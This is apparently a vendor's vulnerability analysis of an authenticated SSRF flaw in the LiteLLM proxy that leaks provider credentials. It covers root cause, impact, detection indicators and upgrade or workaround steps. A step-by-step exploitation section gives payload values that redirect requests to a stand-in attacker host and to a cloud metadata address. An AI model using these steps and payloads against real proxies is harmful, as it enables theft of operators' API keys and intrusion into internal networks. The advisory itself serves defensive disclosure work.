CVE-2026-84377: 
Chainguard vulnerability analysis and mitigation

CVE-2026-84377 is an authenticated Server-Side Request Forgery (SSRF) and provider-credential exfiltration vulnerability in LiteLLM, an AI Gateway proxy server. Any authenticated LiteLLM proxy user can redirect outbound provider calls to an attacker-controlled destination, causing the proxy to transmit its configured upstream provider credentials (e.g., API keys) to that destination. Affected versions are all releases prior to 1.88.6 and versions 1.89.0 through 1.96.1; fixed releases include 1.88.6 and 1.96.2 (as well as several intermediate backport releases). The vulnerability was published on September 2, 2026, and carries a CVSS v3.1 base score of 6.5 (Medium) (GitHub Advisory, Red Hat CVE).

The root cause is incomplete request validation (CWE-918: Server-Side Request Forgery) across multiple proxy modules: litellm/proxy/auth/auth_utils.py, litellm/proxy/common_request_processing.py, litellm/proxy/health_endpoints/_health_endpoints.py, litellm/proxy/image_endpoints/endpoints.py, and litellm/proxy/litellm_pre_call_utils.py. The validation logic used a denylist approach that failed to inspect sensitive routing and credential parameters supplied via nested request fields, URL path segments, and bracket-notation multipart form data (e.g., litellm_metadata[api_base]). Parameters such as api_base, base_url, model_list, fallbacks, and litellm_credential_name could be injected by a caller without clearing the operator's stored provider key, allowing the proxy to forward its own credentials to an attacker-controlled endpoint. The /health/test_connection endpoint was additionally vulnerable because it merged configured deployment credentials underneath request-supplied connection fields, enabling credential inheritance even when the request redirected the destination (GitHub Advisory, Fix PR #36011).

Successful exploitation allows any authenticated proxy user to exfiltrate the operator's upstream LLM provider credentials (e.g., OpenAI, Anthropic, Bedrock API keys) and other configured secrets by redirecting outbound calls to an attacker-controlled server. Additionally, the attacker can perform SSRF against internal services reachable from the proxy host, potentially enabling lateral movement within the network. The confidentiality impact is high, as all stored provider credentials and secrets accessible to the proxy may be exposed; there is no direct integrity or availability impact (GitHub Advisory, Feedly).

No public proof-of-concept exploit code is known to exist, and there is no evidence of in-the-wild exploitation at this time. The vulnerability requires valid authentication credentials to the LiteLLM proxy (low privileges required), but no user interaction or elevated complexity. The EPSS score is approximately 0.31%, indicating a low but non-negligible probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. NVD SSVC assessment classifies exploitation as "none" and technical impact as "partial" (Feedly, GitHub Advisory).

1. Obtain proxy credentials: Acquire a valid LiteLLM proxy API key — any authenticated user account is sufficient; no admin privileges are required.
2. Identify the target proxy: Locate an internet-facing or internally accessible LiteLLM proxy instance running a vulnerable version (< 1.88.6 or 1.89.0–1.96.1).
3. Set up a listener: Stand up an attacker-controlled HTTP server (e.g., using netcat, python -m http.server, or Burp Collaborator) to receive inbound requests.
4. Craft a malicious request: Send an authenticated API request to a proxy endpoint (e.g., /v1/chat/completions or /health/test_connection) with a routing parameter redirected to the attacker's server. For JSON body injection, include "api_base": "https://attacker.example.com" or "base_url": "https://attacker.example.com". For multipart form bypass, use bracket-notation such as litellm_metadata[api_base]=https://attacker.example.com.
5. Capture credentials: The proxy forwards the request — including its configured upstream provider API key — to the attacker-controlled destination. Inspect the received HTTP headers and body for Authorization or api-key values.
6. Exploit SSRF (optional): Use api_base values pointing to internal network addresses (e.g., http://169.254.169.254/ for cloud metadata, or internal services) to probe internal infrastructure reachable by the proxy (GitHub Advisory, Fix PR #36011).

• Network: Outbound HTTP/HTTPS requests from the LiteLLM proxy process to unexpected external or internal destinations, particularly those carrying Authorization or api-key headers; connections to IP addresses or domains not associated with configured LLM providers.
• Logs: Proxy access logs showing requests to /v1/chat/completions, /health/test_connection, or image generation endpoints with api_base, base_url, model_list, fallbacks, or litellm_credential_name parameters set to external URLs; HTTP 200 responses to attacker-controlled destinations.
• Request Body Artifacts: Presence of bracket-notation form fields such as litellm_metadata[api_base], metadata[base_url], or similar in multipart request logs; URL-valued model parameters in path segments (e.g., /engines/https%3A%2F%2Fattacker.example.com/).
• Process: Unusual outbound network connections initiated by the LiteLLM proxy process to non-provider IP ranges, especially to cloud metadata endpoints (e.g., 169.254.169.254) or internal RFC-1918 addresses.

Upgrade LiteLLM to a patched version: 1.88.6, 1.89.7, 1.90.7, 1.91.5, 1.92.2, 1.93.2, 1.94.3, 1.95.1, or 1.96.2 (or later). As an interim workaround, set general_settings.allow_client_side_credentials to false in the proxy configuration to prevent callers from overriding connection parameters. Additionally, block the sensitive parameters (api_base, base_url, model_list, fallbacks, and provider credential fields) at a reverse proxy or API gateway layer, restrict proxy API keys to trusted callers only, and implement network egress controls to limit outbound connections from the proxy to authorized provider endpoints only (GitHub Advisory, Backport PR #36314, Backport PR #36494).

The vulnerability was disclosed via a GitHub Security Advisory by the BerriAI team and backported across nine stable release lines, indicating the maintainers treated it as a high-priority security fix. The NixOS security tracker opened a tracking issue referencing the advisory, and several infrastructure automation bots (Renovate, Dependabot-style) generated automated upgrade PRs across community-managed deployments shortly after the patched releases were published. No significant independent researcher commentary or media coverage has been identified beyond standard CVE aggregator entries (GitHub Advisory, Backport PR #36494).